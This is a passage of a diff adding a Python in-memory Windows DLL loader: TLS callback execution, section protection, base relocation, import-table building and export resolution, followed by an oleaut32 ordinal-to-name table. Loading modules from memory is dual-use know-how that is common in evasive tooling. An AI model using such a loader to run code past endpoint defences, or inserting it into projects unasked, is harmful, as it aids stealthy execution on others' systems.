||||
|
||||
|
||||
def ExecuteTLS(self):
|
||||
codebase = self._codebaseaddr
|
||||
|
||||
directory = self.OPTIONAL_HEADER.DATA_DIRECTORY[IMAGE_DIRECTORY_ENTRY_TLS]
|
||||
if directory.VirtualAddress <= 0:
|
||||
self.dbg("no TLS address found")
|
||||
return True
|
||||
|
||||
tlsaddr = codebase + directory.VirtualAddress
|
||||
tls = IMAGE_TLS_DIRECTORY.from_address(tlsaddr)
|
||||
callback = IMAGE_TLS_CALLBACK.from_address(tls.AddressOfCallBacks)
|
||||
callbackaddr=tls.AddressOfCallBacks
|
||||
|
||||
while(callback):
|
||||
TLSexec=TLSexecProc(callback.value)
|
||||
tlsres= TLSexec( cast(codebase,LPVOID), DLL_PROCESS_ATTACH, 0)
|
||||
if not bool(tlsres):
|
||||
raise WindowsError('TLS could not be executed.')
|
||||
else:
|
||||
# 8 bytes step - this is the size of the callback field in the TLS callbacks table. Need to initialize callback to IMAGE_TLS_CALLBACK with
|
||||
# the updated address, otherwise callback.value won't be null when the callback table is finished and the while won't exit
|
||||
self.dbg("TLS callback executed")
|
||||
callbackaddr+=sizeof(c_ulonglong)
|
||||
callback= IMAGE_TLS_CALLBACK.from_address(callbackaddr)
|
||||
|
||||
def finalize_sections(self):
|
||||
sectionaddr = self.IMAGE_FIRST_SECTION()
|
||||
numSections = self.pythonmemorymodule.contents.headers.contents.FileHeader.NumberOfSections
|
||||
imageOffset = POINTER_TYPE(self.pythonmemorymodule.contents.headers.contents.OptionalHeader.ImageBase & 0xffffffff00000000) if isx64 else POINTER_TYPE(0)
|
||||
checkCharacteristic = lambda sect, flag: 1 if (sect.contents.Characteristics & flag) != 0 else 0
|
||||
getPhysAddr = lambda sect: section.contents.PhysicalAddress | imageOffset.value
|
||||
|
||||
self.dbg("Found %d total sections.",numSections)
|
||||
for i in range(0, numSections):
|
||||
self.dbg("Section n. %d",i)
|
||||
|
||||
section = cast(sectionaddr, PIMAGE_SECTION_HEADER)
|
||||
size = section.contents.SizeOfRawData
|
||||
if size == 0:
|
||||
if checkCharacteristic(section, IMAGE_SCN_CNT_INITIALIZED_DATA):
|
||||
self.dbg("Zero size rawdata section")
|
||||
size = self.pythonmemorymodule.contents.headers.contents.OptionalHeader.SizeOfInitializedData
|
||||
elif checkCharacteristic(section, IMAGE_SCN_CNT_UNINITIALIZED_DATA):
|
||||
size = self.pythonmemorymodule.contents.headers.contents.OptionalHeader.SizeOfUninitializedData
|
||||
self.dbg("Uninitialized data, return")
|
||||
continue
|
||||
if size == 0:
|
||||
self.dbg("zero size section")
|
||||
continue
|
||||
self.dbg("size=%d",size)
|
||||
oldProtect = DWORD(0)
|
||||
self.dbg("execute %d",checkCharacteristic(section, IMAGE_SCN_MEM_EXECUTE))
|
||||
executable = checkCharacteristic(section, IMAGE_SCN_MEM_EXECUTE)
|
||||
self.dbg("read %d",checkCharacteristic(section, IMAGE_SCN_MEM_READ))
|
||||
readable = checkCharacteristic(section, IMAGE_SCN_MEM_READ)
|
||||
writeable = checkCharacteristic(section, IMAGE_SCN_MEM_WRITE)
|
||||
self.dbg("write %d",checkCharacteristic(section, IMAGE_SCN_MEM_WRITE))
|
||||
|
||||
if checkCharacteristic(section, IMAGE_SCN_MEM_DISCARDABLE):
|
||||
addr = getPhysAddr(section)
|
||||
VirtualFree(addr, section.contents.SizeOfRawData, MEM_DECOMMIT)
|
||||
continue
|
||||
|
||||
protect = ProtectionFlags[executable][readable][writeable]
|
||||
self.dbg("Protection flag:%d",protect)
|
||||
if checkCharacteristic(section, IMAGE_SCN_MEM_NOT_CACHED):
|
||||
print("not cached")
|
||||
protect |= PAGE_NOCACHE
|
||||
|
||||
|
||||
size = section.contents.SizeOfRawData
|
||||
if size == 0:
|
||||
if checkCharacteristic(section, IMAGE_SCN_CNT_INITIALIZED_DATA):
|
||||
size = self.pythonmemorymodule.contents.headers.contents.OptionalHeader.SizeOfInitializedData
|
||||
elif checkCharacteristic(section, IMAGE_SCN_CNT_UNINITIALIZED_DATA):
|
||||
size = self.pythonmemorymodule.contents.headers.contents.OptionalHeader.SizeOfUninitializedData
|
||||
if size > 0:
|
||||
addr = self.sections[i].Misc_PhysicalAddress #getPhysAddr(section)
|
||||
self.dbg("physaddr:0x%x", addr)
|
||||
if VirtualProtect(addr, size, protect, byref(oldProtect)) == 0:
|
||||
raise WindowsError("Error protecting memory page")
|
||||
sectionaddr += sizeof(IMAGE_SECTION_HEADER)
|
||||
i += 1
|
||||
|
||||
|
||||
def perform_base_relocations(self, delta):
|
||||
codeBaseAddr = self._codebaseaddr
|
||||
directory = self.OPTIONAL_HEADER.DATA_DIRECTORY[IMAGE_DIRECTORY_ENTRY_BASERELOC]
|
||||
if directory.Size <= 0: return
|
||||
relocaddr=codeBaseAddr + directory.VirtualAddress
|
||||
relocation = IMAGE_BASE_RELOCATION.from_address(relocaddr)
|
||||
maxreloc = lambda r: (relocation.SizeOfBlock - IMAGE_SIZEOF_BASE_RELOCATION) / 2
|
||||
|
||||
while relocation.VirtualAddress > 0:
|
||||
i = 0
|
||||
dest = codeBaseAddr + relocation.VirtualAddress
|
||||
relinfoaddr = relocaddr + IMAGE_SIZEOF_BASE_RELOCATION
|
||||
while i < maxreloc(relocaddr):
|
||||
relinfo = c_ushort.from_address(relinfoaddr)
|
||||
type = relinfo.value >> 12
|
||||
offset = relinfo.value & 0xfff
|
||||
if type == IMAGE_REL_BASED_ABSOLUTE:
|
||||
self.dbg("Skipping relocation")
|
||||
elif type == IMAGE_REL_BASED_HIGHLOW or (type == IMAGE_REL_BASED_DIR64 and isx64):
|
||||
self.dbg("Relocating offset: 0x%x", offset)
|
||||
patchAddrHL = cast(dest + offset, LP_POINTER_TYPE)
|
||||
patchAddrHL.contents.value += delta
|
||||
else:
|
||||
self.dbg("Unknown relocation at address: 0x%x", relocation)
|
||||
break
|
||||
# advancing two bytes at a time in the relocation table
|
||||
relinfoaddr += 2
|
||||
i += 1
|
||||
relocaddr += relocation.SizeOfBlock
|
||||
relocation = IMAGE_BASE_RELOCATION.from_address(relocaddr)
|
||||
|
||||
|
||||
def build_import_table(self, dlopen = LoadLibraryW):
|
||||
codebase = self._codebaseaddr
|
||||
self.dbg("codebase:0x%x", codebase)
|
||||
directory = self.OPTIONAL_HEADER.DATA_DIRECTORY[IMAGE_DIRECTORY_ENTRY_IMPORT]
|
||||
|
||||
if directory.Size <= 0:
|
||||
self.dbg('Import directory\'s size appears to be zero or less. Skipping.. (Probably not good)')
|
||||
return
|
||||
importdescaddr = codebase + directory.VirtualAddress
|
||||
check = not bool(IsBadReadPtr(importdescaddr, sizeof(IMAGE_IMPORT_DESCRIPTOR)))
|
||||
if not check:
|
||||
self.dbg('IsBadReadPtr(address) at address: 0x%x returned true', importdescaddr)
|
||||
i=0 # index for entry import struct
|
||||
for i in range(0, len(self.DIRECTORY_ENTRY_IMPORT)):
|
||||
self.dbg('Found importdesc at address: 0x%x', importdescaddr)
|
||||
importdesc = directory.VirtualAddress
|
||||
|
||||
# ref: https://sites.google.com/site/peofcns/win32forth/pe-header-f/02-image_directory/02-import_descriptor
|
||||
entry_struct=self.DIRECTORY_ENTRY_IMPORT[i].struct
|
||||
entry_imports=self.DIRECTORY_ENTRY_IMPORT[i].imports
|
||||
dll = self.DIRECTORY_ENTRY_IMPORT[i].dll.decode('utf-8')
|
||||
if not bool(dll):
|
||||
self.dbg('Importdesc at address 0x%x name is NULL. Skipping load library', importdescaddr)
|
||||
hmod = dll
|
||||
else:
|
||||
self.dbg('Found imported DLL, %s. Loading..', dll)
|
||||
hmod = dlopen(dll)
|
||||
if not bool(hmod): raise WindowsError('Failed to load library, %s' % dll)
|
||||
result_realloc= realloc(
|
||||
self.pythonmemorymodule.contents.modules,
|
||||
(self.pythonmemorymodule.contents.modules._b_base_.numModules + 1) * sizeof(HMODULE)
|
||||
)
|
||||
if not bool(result_realloc):
|
||||
raise WindowsError('Failed to allocate additional room for our new import.')
|
||||
self.pythonmemorymodule.contents.modules = cast(result_realloc, type(self.pythonmemorymodule.contents.modules))
|
||||
self.pythonmemorymodule.contents.modules[self.pythonmemorymodule.contents.modules._b_base_.numModules] = hmod
|
||||
self.pythonmemorymodule.contents.modules._b_base_.numModules += 1
|
||||
|
||||
|
||||
thunkrefaddr = funcrefaddr = codebase + entry_struct.FirstThunk
|
||||
if entry_struct.OriginalFirstThunk > 0:
|
||||
thunkrefaddr = codebase + entry_struct.OriginalFirstThunk
|
||||
|
||||
for j in range(0, len(entry_imports)):
|
||||
|
||||
funcref = cast(funcrefaddr, PFARPROC)
|
||||
if entry_imports[j].import_by_ordinal == True:
|
||||
importordinal= entry_imports[j].ordinal.decode('utf-8')
|
||||
self.dbg('Found import ordinal entry, %s', cast(importordinal, LPCSTR))
|
||||
funcref.contents = GetProcAddress(hmod, importordinal)
|
||||
else:
|
||||
importname= entry_imports[j].name.decode('utf-8')
|
||||
self.dbg('Found import by name entry %s , at address 0x%x', importname, entry_imports[j].address)
|
||||
address= getprocaddr(hmod, importname.encode())
|
||||
if not memmove(funcrefaddr,address.to_bytes(sizeof(LONG_PTR),'little'),sizeof(LONG_PTR)):
|
||||
raise WindowsError('memmove failed')
|
||||
self.dbg('Resolved import %s at address 0x%x', importname, address)
|
||||
if not bool(address):
|
||||
raise WindowsError('Could not locate function for thunkref %s', importname)
|
||||
funcrefaddr += sizeof(PFARPROC)
|
||||
j +=1
|
||||
i +=1
|
||||
|
||||
|
||||
def free_library(self):
|
||||
self.dbg("Freeing dll")
|
||||
if not bool(self.pythonmemorymodule): return
|
||||
pmodule = pointer(self.pythonmemorymodule)
|
||||
if self.pythonmemorymodule.contents.initialized != 0:
|
||||
DllEntry = DllEntryProc(self.pythonmemorymodule.contents.codeBase + self.pythonmemorymodule.contents.headers.contents.OptionalHeader.AddressOfEntryPoint)
|
||||
DllEntry(cast(self.pythonmemorymodule.contents.codeBase, HINSTANCE), DLL_PROCESS_DETACH, 0)
|
||||
pmodule.contents.initialized = 0
|
||||
if bool(self.pythonmemorymodule.contents.modules) and self.pythonmemorymodule.contents.numModules > 0:
|
||||
for i in range(1, self.pythonmemorymodule.contents.numModules):
|
||||
if self.pythonmemorymodule.contents.modules[i] != HANDLE(INVALID_HANDLE_VALUE):
|
||||
FreeLibrary(self.pythonmemorymodule.contents.modules[i])
|
||||
|
||||
if bool(self._codebaseaddr):
|
||||
VirtualFree(self._codebaseaddr, 0, MEM_RELEASE)
|
||||
|
||||
HeapFree(GetProcessHeap(), 0, self.pythonmemorymodule)
|
||||
self.close()
|
||||
|
||||
|
||||
def _proc_addr_by_ordinal(self, idx):
|
||||
codebase = self._codebaseaddr
|
||||
if idx == -1:
|
||||
raise WindowsError('Could not find the function specified')
|
||||
elif idx > self._exports_.NumberOfFunctions:
|
||||
raise WindowsError('Ordinal number higher than our actual count.')
|
||||
funcoffset = DWORD.from_address(codebase + self._exports_.AddressOfFunctions + (idx * 4))
|
||||
return funcoffset.value
|
||||
|
||||
|
||||
def _proc_addr_by_name(self, name):
|
||||
codebase = self._codebaseaddr
|
||||
exports = self._exports_
|
||||
if exports.NumberOfNames == 0:
|
||||
raise WindowsError('DLL doesn\'t export anything.')
|
||||
|
||||
ordinal = -1
|
||||
name = name.lower()
|
||||
namerefaddr = codebase + exports.AddressOfNames
|
||||
ordinaladdr = codebase + exports.AddressOfNamesOrdinals
|
||||
i = 0
|
||||
while i < exports.NumberOfNames:
|
||||
nameref = DWORD.from_address(namerefaddr)
|
||||
funcname = string_at(codebase + nameref.value).lower()
|
||||
if funcname.decode() == name:
|
||||
ordinal = WORD.from_address(ordinaladdr).value
|
||||
i += 1
|
||||
namerefaddr += sizeof(DWORD)
|
||||
ordinaladdr += sizeof(WORD)
|
||||
return self._proc_addr_by_ordinal(ordinal)
|
||||
|
||||
def get_proc_addr(self, name_or_ordinal):
|
||||
codebase = self._codebaseaddr
|
||||
if not hasattr(self, '_exports_'):
|
||||
directory = self.OPTIONAL_HEADER.DATA_DIRECTORY[IMAGE_DIRECTORY_ENTRY_EXPORT]
|
||||
# No export table found
|
||||
if directory.Size <= 0: raise WindowsError('No export table found.')
|
||||
self._exports_ = IMAGE_EXPORT_DIRECTORY.from_address(codebase + directory.VirtualAddress)
|
||||
if self._exports_.NumberOfFunctions == 0:
|
||||
# DLL doesn't export anything
|
||||
raise WindowsError('DLL doesn\'t export anything.')
|
||||
targ = type(name_or_ordinal)
|
||||
if targ in [ str, str, str ]:
|
||||
name_or_ordinal = str(name_or_ordinal)
|
||||
procaddr_func = self._proc_addr_by_name
|
||||
elif targ in [ int, int ]:
|
||||
name_or_ordinal = int(name_or_ordinal)
|
||||
procaddr_func = self._proc_addr_by_ordinal
|
||||
else:
|
||||
raise TypeError('Don\'t know what to do with name/ordinal of type: %s!' % targ)
|
||||
|
||||
if not name_or_ordinal in self._foffsets_:
|
||||
self._foffsets_[name_or_ordinal] = procaddr_func(name_or_ordinal)
|
||||
return FARPROC(codebase + self._foffsets_[name_or_ordinal])
|
||||
|
||||
@@ -0,0 +1,34 @@
|
||||
from . import ws2_32
|
||||
from . import oleaut32
|
||||
|
||||
"""
|
||||
A small module for keeping a database of ordinal to symbol
|
||||
mappings for DLLs which frequently get linked without symbolic
|
||||
infoz.
|
||||
"""
|
||||
|
||||
ords = {
|
||||
b"ws2_32.dll": ws2_32.ord_names,
|
||||
b"wsock32.dll": ws2_32.ord_names,
|
||||
b"oleaut32.dll": oleaut32.ord_names,
|
||||
}
|
||||
|
||||
|
||||
def formatOrdString(ord_val):
|
||||
return "ord{}".format(ord_val).encode()
|
||||
|
||||
|
||||
def ordLookup(libname, ord_val, make_name=False):
|
||||
"""
|
||||
Lookup a name for the given ordinal if it's in our
|
||||
database.
|
||||
"""
|
||||
names = ords.get(libname.lower())
|
||||
if names is None:
|
||||
if make_name is True:
|
||||
return formatOrdString(ord_val)
|
||||
return None
|
||||
name = names.get(ord_val)
|
||||
if name is None:
|
||||
return formatOrdString(ord_val)
|
||||
return name
|
||||
@@ -0,0 +1,400 @@
|
||||
ord_names = {
|
||||
2: b"SysAllocString",
|
||||
3: b"SysReAllocString",
|
||||
4: b"SysAllocStringLen",
|
||||
5: b"SysReAllocStringLen",
|
||||
6: b"SysFreeString",
|
||||
7: b"SysStringLen",
|
||||
8: b"VariantInit",
|
||||
9: b"VariantClear",
|
||||
10: b"VariantCopy",
|
||||
11: b"VariantCopyInd",
|
||||
12: b"VariantChangeType",
|
||||
13: b"VariantTimeToDosDateTime",
|
||||
14: b"DosDateTimeToVariantTime",
|
||||
15: b"SafeArrayCreate",
|
||||
16: b"SafeArrayDestroy",
|
||||
17: b"SafeArrayGetDim",
|
||||
18: b"SafeArrayGetElemsize",
|
||||
19: b"SafeArrayGetUBound",
|
||||
20: b"SafeArrayGetLBound",
|
||||
21: b"SafeArrayLock",
|
||||
22: b"SafeArrayUnlock",
|
||||
23: b"SafeArrayAccessData",
|
||||
24: b"SafeArrayUnaccessData",
|
||||
25: b"SafeArrayGetElement",
|
||||
26: b"SafeArrayPutElement",
|
||||
27: b"SafeArrayCopy",
|
||||
28: b"DispGetParam",
|
||||
29: b"DispGetIDsOfNames",
|
||||
30: b"DispInvoke",
|
||||
31: b"CreateDispTypeInfo",
|
||||
32: b"CreateStdDispatch",
|
||||
33: b"RegisterActiveObject",
|
||||
34: b"RevokeActiveObject",
|
||||
35: b"GetActiveObject",
|
||||
36: b"SafeArrayAllocDescriptor",
|
||||
37: b"SafeArrayAllocData",
|
||||
38: b"SafeArrayDestroyDescriptor",
|
||||
39: b"SafeArrayDestroyData",
|
||||
40: b"SafeArrayRedim",
|
||||
41: b"SafeArrayAllocDescriptorEx",
|
||||
42: b"SafeArrayCreateEx",
|
||||
43: b"SafeArrayCreateVectorEx",
|
||||
44: b"SafeArraySetRecordInfo",
|
||||
45: b"SafeArrayGetRecordInfo",
|
||||
46: b"VarParseNumFromStr",
|
||||
47: b"VarNumFromParseNum",
|
||||
48: b"VarI2FromUI1",
|
||||
49: b"VarI2FromI4",
|
||||
50: b"VarI2FromR4",
|
||||
51: b"VarI2FromR8",
|
||||
52: b"VarI2FromCy",
|
||||
53: b"VarI2FromDate",
|
||||
54: b"VarI2FromStr",
|
||||
55: b"VarI2FromDisp",
|
||||
56: b"VarI2FromBool",
|
||||
57: b"SafeArraySetIID",
|
||||
58: b"VarI4FromUI1",
|
||||
59: b"VarI4FromI2",
|
||||
60: b"VarI4FromR4",
|
||||
61: b"VarI4FromR8",
|
||||
62: b"VarI4FromCy",
|
||||
63: b"VarI4FromDate",
|
||||
64: b"VarI4FromStr",
|
||||
65: b"VarI4FromDisp",
|
||||
66: b"VarI4FromBool",
|
||||
67: b"SafeArrayGetIID",
|
||||
68: b"VarR4FromUI1",
|
||||
69: b"VarR4FromI2",
|
||||
70: b"VarR4FromI4",
|
||||
71: b"VarR4FromR8",
|
||||
72: b"VarR4FromCy",
|
||||
73: b"VarR4FromDate",
|
||||
74: b"VarR4FromStr",
|
||||
75: b"VarR4FromDisp",
|
||||
76: b"VarR4FromBool",
|
||||
77: b"SafeArrayGetVartype",
|
||||
78: b"VarR8FromUI1",
|
||||
79: b"VarR8FromI2",
|
||||
80: b"VarR8FromI4",
|
||||
81: b"VarR8FromR4",
|
||||
82: b"VarR8FromCy",
|
||||
83: b"VarR8FromDate",
|
||||
84: b"VarR8FromStr",
|
||||
85: b"VarR8FromDisp",
|
||||
86: b"VarR8FromBool",
|
||||
87: b"VarFormat",
|
||||
88: b"VarDateFromUI1",
|
||||
89: b"VarDateFromI2",
|
||||
90: b"VarDateFromI4",
|
||||
91: b"VarDateFromR4",
|
||||
92: b"VarDateFromR8",
|
||||
93: b"VarDateFromCy",
|
||||
94: b"VarDateFromStr",
|
||||
95: b"VarDateFromDisp",
|
||||
96: b"VarDateFromBool",
|
||||
97: b"VarFormatDateTime",
|
||||
98: b"VarCyFromUI1",
|
||||
99: b"VarCyFromI2",
|
||||
100: b"VarCyFromI4",
|
||||
101: b"VarCyFromR4",
|
||||
102: b"VarCyFromR8",
|
||||
103: b"VarCyFromDate",
|
||||
104: b"VarCyFromStr",
|
||||
105: b"VarCyFromDisp",
|
||||
106: b"VarCyFromBool",
|
||||
107: b"VarFormatNumber",
|
||||
108: b"VarBstrFromUI1",
|
||||
109: b"VarBstrFromI2",
|
||||
110: b"VarBstrFromI4",
|
||||
111: b"VarBstrFromR4",
|
||||
112: b"VarBstrFromR8",
|
||||
113: b"VarBstrFromCy",
|
||||
114: b"VarBstrFromDate",
|
||||
115: b"VarBstrFromDisp",
|
||||
116: b"VarBstrFromBool",
|
||||
117: b"VarFormatPercent",
|
||||
118: b"VarBoolFromUI1",
|
||||
119: b"VarBoolFromI2",
|
||||
120: b"VarBoolFromI4",
|
||||
121: b"VarBoolFromR4",
|
||||
122: b"VarBoolFromR8",
|
||||
123: b"VarBoolFromDate",
|
||||
124: b"VarBoolFromCy",
|
||||
125: b"VarBoolFromStr",
|
||||
126: b"VarBoolFromDisp",
|
||||
127: b"VarFormatCurrency",
|
||||
128: b"VarWeekdayName",
|
||||
129: b"VarMonthName",
|
||||
130: b"VarUI1FromI2",
|
||||
131: b"VarUI1FromI4",
|
||||
132: b"VarUI1FromR4",
|
||||
133: b"VarUI1FromR8",
|
||||
134: b"VarUI1FromCy",
|
||||
135: b"VarUI1FromDate",
|
||||
136: b"VarUI1FromStr",
|
||||
137: b"VarUI1FromDisp",
|
||||
138: b"VarUI1FromBool",
|
||||
139: b"VarFormatFromTokens",
|
||||
140: b"VarTokenizeFormatString",
|
||||
141: b"VarAdd",
|
||||
142: b"VarAnd",
|
||||
143: b"VarDiv",
|
||||
144: b"DllCanUnloadNow",
|
||||
145: b"DllGetClassObject",
|
||||
146: b"DispCallFunc",
|
||||
147: b"VariantChangeTypeEx",
|
||||
148: b"SafeArrayPtrOfIndex",
|
||||
149: b"SysStringByteLen",
|
||||
150: b"SysAllocStringByteLen",
|
||||
151: b"DllRegisterServer",
|
||||
152: b"VarEqv",
|
||||
153: b"VarIdiv",
|
||||
154: b"VarImp",
|
||||
155: b"VarMod",
|
||||
156: b"VarMul",
|
||||
157: b"VarOr",
|
||||
158: b"VarPow",
|
||||
159: b"VarSub",
|
||||
160: b"CreateTypeLib",
|
||||
161: b"LoadTypeLib",
|
||||
162: b"LoadRegTypeLib",
|
||||
163: b"RegisterTypeLib",
|
||||
164: b"QueryPathOfRegTypeLib",
|
||||
165: b"LHashValOfNameSys",
|
||||
166: b"LHashValOfNameSysA",
|
||||
167: b"VarXor",
|
||||
168: b"VarAbs",
|
||||
169: b"VarFix",
|
||||
170: b"OaBuildVersion",
|
||||
171: b"ClearCustData",
|
||||
172: b"VarInt",
|
||||
173: b"VarNeg",
|
||||
174: b"VarNot",
|
||||
175: b"VarRound",
|
||||
176: b"VarCmp",
|
||||
177: b"VarDecAdd",
|
||||
178: b"VarDecDiv",
|
||||
179: b"VarDecMul",
|
||||
180: b"CreateTypeLib2",
|
||||
181: b"VarDecSub",
|
||||
182: b"VarDecAbs",
|
||||
183: b"LoadTypeLibEx",
|
||||
184: b"SystemTimeToVariantTime",
|
||||
185: b"VariantTimeToSystemTime",
|
||||
186: b"UnRegisterTypeLib",
|
||||
187: b"VarDecFix",
|
||||
188: b"VarDecInt",
|
||||
189: b"VarDecNeg",
|
||||
190: b"VarDecFromUI1",
|
||||
191: b"VarDecFromI2",
|
||||
192: b"VarDecFromI4",
|
||||
193: b"VarDecFromR4",
|
||||
194: b"VarDecFromR8",
|
||||
195: b"VarDecFromDate",
|
||||
196: b"VarDecFromCy",
|
||||
197: b"VarDecFromStr",
|
||||
198: b"VarDecFromDisp",
|
||||
199: b"VarDecFromBool",
|
||||
200: b"GetErrorInfo",
|
||||
201: b"SetErrorInfo",
|
||||
202: b"CreateErrorInfo",
|
||||
203: b"VarDecRound",
|
||||
204: b"VarDecCmp",
|
||||
205: b"VarI2FromI1",
|
||||
206: b"VarI2FromUI2",
|
||||
207: b"VarI2FromUI4",
|
||||
208: b"VarI2FromDec",
|
||||
209: b"VarI4FromI1",
|
||||
210: b"VarI4FromUI2",
|
||||
211: b"VarI4FromUI4",
|
||||
212: b"VarI4FromDec",
|
||||
213: b"VarR4FromI1",
|
||||
214: b"VarR4FromUI2",
|
||||
215: b"VarR4FromUI4",
|
||||
216: b"VarR4FromDec",
|
||||
217: b"VarR8FromI1",
|
||||
218: b"VarR8FromUI2",
|
||||
219: b"VarR8FromUI4",
|
||||
220: b"VarR8FromDec",
|
||||
221: b"VarDateFromI1",
|
||||
222: b"VarDateFromUI2",
|
||||
223: b"VarDateFromUI4",
|
||||
224: b"VarDateFromDec",
|
||||
225: b"VarCyFromI1",
|
||||
226: b"VarCyFromUI2",
|
||||
227: b"VarCyFromUI4",
|
||||
228: b"VarCyFromDec",
|
||||
229: b"VarBstrFromI1",
|
||||
230: b"VarBstrFromUI2",
|
||||
231: b"VarBstrFromUI4",
|
||||
232: b"VarBstrFromDec",
|
||||
233: b"VarBoolFromI1",
|
||||
234: b"VarBoolFromUI2",
|
||||
235: b"VarBoolFromUI4",
|
||||
236: b"VarBoolFromDec",
|
||||
237: b"VarUI1FromI1",
|
||||
238: b"VarUI1FromUI2",
|
||||
239: b"VarUI1FromUI4",
|
||||
240: b"VarUI1FromDec",
|
||||
241: b"VarDecFromI1",
|
||||
242: b"VarDecFromUI2",
|
||||
243: b"VarDecFromUI4",
|
||||
244: b"VarI1FromUI1",
|
||||
245: b"VarI1FromI2",
|
||||
246: b"VarI1FromI4",
|
||||
247: b"VarI1FromR4",
|
||||
248: b"VarI1FromR8",
|
||||
249: b"VarI1FromDate",
|
||||
250: b"VarI1FromCy",
|
||||
251: b"VarI1FromStr",
|
||||
252: b"VarI1FromDisp",
|
||||
253: b"VarI1FromBool",
|
||||
254: b"VarI1FromUI2",
|
||||
255: b"VarI1FromUI4",
|
||||
256: b"VarI1FromDec",
|
||||
257: b"VarUI2FromUI1",
|
||||
258: b"VarUI2FromI2",
|
||||
259: b"VarUI2FromI4",
|
||||
260: b"VarUI2FromR4",
|
||||
261: b"VarUI2FromR8",
|
||||
262: b"VarUI2FromDate",
|
||||
263: b"VarUI2FromCy",
|
||||
264: b"VarUI2FromStr",
|
||||
265: b"VarUI2FromDisp",
|
||||
266: b"VarUI2FromBool",
|
||||
267: b"VarUI2FromI1",
|
||||
268: b"VarUI2FromUI4",
|
||||
269: b"VarUI2FromDec",
|
||||
270: b"VarUI4FromUI1",
|
||||
271: b"VarUI4FromI2",
|
||||
272: b"VarUI4FromI4",
|
||||
273: b"VarUI4FromR4",
|
||||
274: b"VarUI4FromR8",
|
||||
275: b"VarUI4FromDate",
|
||||
276: b"VarUI4FromCy",
|
||||
277: b"VarUI4FromStr",
|
||||
278: b"VarUI4FromDisp",
|
||||
279: b"VarUI4FromBool",
|
||||
280: b"VarUI4FromI1",
|
||||
281: b"VarUI4FromUI2",
|
||||
282: b"VarUI4FromDec",
|
||||
283: b"BSTR_UserSize",
|
||||
284: b"BSTR_UserMarshal",
|
||||
285: b"BSTR_UserUnmarshal",
|
||||
286: b"BSTR_UserFree",
|
||||
287: b"VARIANT_UserSize",
|
||||
288: b"VARIANT_UserMarshal",
|
||||
289: b"VARIANT_UserUnmarshal",
|
||||
290: b"VARIANT_UserFree",
|
||||
291: b"LPSAFEARRAY_UserSize",
|
||||
292: b"LPSAFEARRAY_UserMarshal",
|
||||
293: b"LPSAFEARRAY_UserUnmarshal",
|
||||
294: b"LPSAFEARRAY_UserFree",
|
||||
295: b"LPSAFEARRAY_Size",
|
||||
296: b"LPSAFEARRAY_Marshal",
|
||||
297: b"LPSAFEARRAY_Unmarshal",
|
||||
298: b"VarDecCmpR8",
|
||||
299: b"VarCyAdd",
|
||||
300: b"DllUnregisterServer",
|
||||
301: b"OACreateTypeLib2",
|
||||
303: b"VarCyMul",
|
||||
304: b"VarCyMulI4",
|
||||
305: b"VarCySub",
|
||||
306: b"VarCyAbs",
|
||||
307: b"VarCyFix",
|
||||
308: b"VarCyInt",
|
||||
309: b"VarCyNeg",
|
||||
310: b"VarCyRound",
|
||||
311: b"VarCyCmp",
|
||||
312: b"VarCyCmpR8",
|
||||
313: b"VarBstrCat",
|
||||
314: b"VarBstrCmp",
|
||||
315: b"VarR8Pow",
|
||||
316: b"VarR4CmpR8",
|
||||
317: b"VarR8Round",
|
||||
318: b"VarCat",
|
||||
319: b"VarDateFromUdateEx",
|
||||
322: b"GetRecordInfoFromGuids",
|
||||
323: b"GetRecordInfoFromTypeInfo",
|
||||
325: b"SetVarConversionLocaleSetting",
|
||||
326: b"GetVarConversionLocaleSetting",
|
||||
327: b"SetOaNoCache",
|
||||
329: b"VarCyMulI8",
|
||||
330: b"VarDateFromUdate",
|
||||
331: b"VarUdateFromDate",
|
||||
332: b"GetAltMonthNames",
|
||||
333: b"VarI8FromUI1",
|
||||
334: b"VarI8FromI2",
|
||||
335: b"VarI8FromR4",
|
||||
336: b"VarI8FromR8",
|
||||
337: b"VarI8FromCy",
|
||||
338: b"VarI8FromDate",
|
||||
339: b"VarI8FromStr",
|
||||
340: b"VarI8FromDisp",
|
||||
341: b"VarI8FromBool",
|
||||
342: b"VarI8FromI1",
|
||||
343: b"VarI8FromUI2",
|
||||
344: b"VarI8FromUI4",
|
||||
345: b"VarI8FromDec",
|
||||
346: b"VarI2FromI8",
|
||||
347: b"VarI2FromUI8",
|
||||
348: b"VarI4FromI8",
|
||||
349: b"VarI4FromUI8",
|
||||
360: b"VarR4FromI8",
|
||||
361: b"VarR4FromUI8",
|
||||
362: b"VarR8FromI8",
|
||||
363: b"VarR8FromUI8",
|
||||
364: b"VarDateFromI8",
|
||||
365: b"VarDateFromUI8",
|
||||
366: b"VarCyFromI8",
|
||||
367: b"VarCyFromUI8",
|
||||
368: b"VarBstrFromI8",
|
||||
369: b"VarBstrFromUI8",
|
||||
370: b"VarBoolFromI8",
|
||||
371: b"VarBoolFromUI8",
|
||||
372: b"VarUI1FromI8",
|
||||
373: b"VarUI1FromUI8",
|
||||
374: b"VarDecFromI8",
|
||||
375: b"VarDecFromUI8",
|
||||
376: b"VarI1FromI8",
|
||||
377: b"VarI1FromUI8",
|
||||
378: b"VarUI2FromI8",
|
||||
379: b"VarUI2FromUI8",
|
||||
401: b"OleLoadPictureEx",
|
||||
402: b"OleLoadPictureFileEx",
|
||||
411: b"SafeArrayCreateVector",
|
||||
412: b"SafeArrayCopyData",
|
||||
413: b"VectorFromBstr",
|
||||
414: b"BstrFromVector",
|
||||
415: b"OleIconToCursor",
|
||||
416: b"OleCreatePropertyFrameIndirect",
|
||||
417: b"OleCreatePropertyFrame",
|
||||
418: b"OleLoadPicture",
|
||||
419: b"OleCreatePictureIndirect",
|
||||
420: b"OleCreateFontIndirect",
|
||||
421: b"OleTranslateColor",
|
||||
422: b"OleLoadPictureFile",
|
||||
423: b"OleSavePictureFile",
|
||||
424: b"OleLoadPicturePath",
|
||||
425: b"VarUI4FromI8",
|
||||
426: b"VarUI4FromUI8",
|
||||
427: b"VarI8FromUI8",
|
||||
428: b"VarUI8FromI8",
|
||||
429: b"VarUI8FromUI1",
|
||||
430: b"VarUI8FromI2",
|
||||
431: b"VarUI8FromR4",
|
||||
432: b"VarUI8FromR8",
|
||||
433: b"VarUI8FromCy",
|
||||
434: b"VarUI8FromDate",
|
||||
435: b"VarUI8FromStr",
|
||||
436: b"VarUI8FromDisp",
|
||||
437: b"VarUI8FromBool",
|
||||
438: b"VarUI8FromI1",
|
||||
439: b"VarUI8FromUI2",
|
||||
440: b"VarUI8FromUI4",
|
||||
441: b"VarUI8FromDec",
|
||||
442: b"RegisterTypeLibForUser",
|
||||
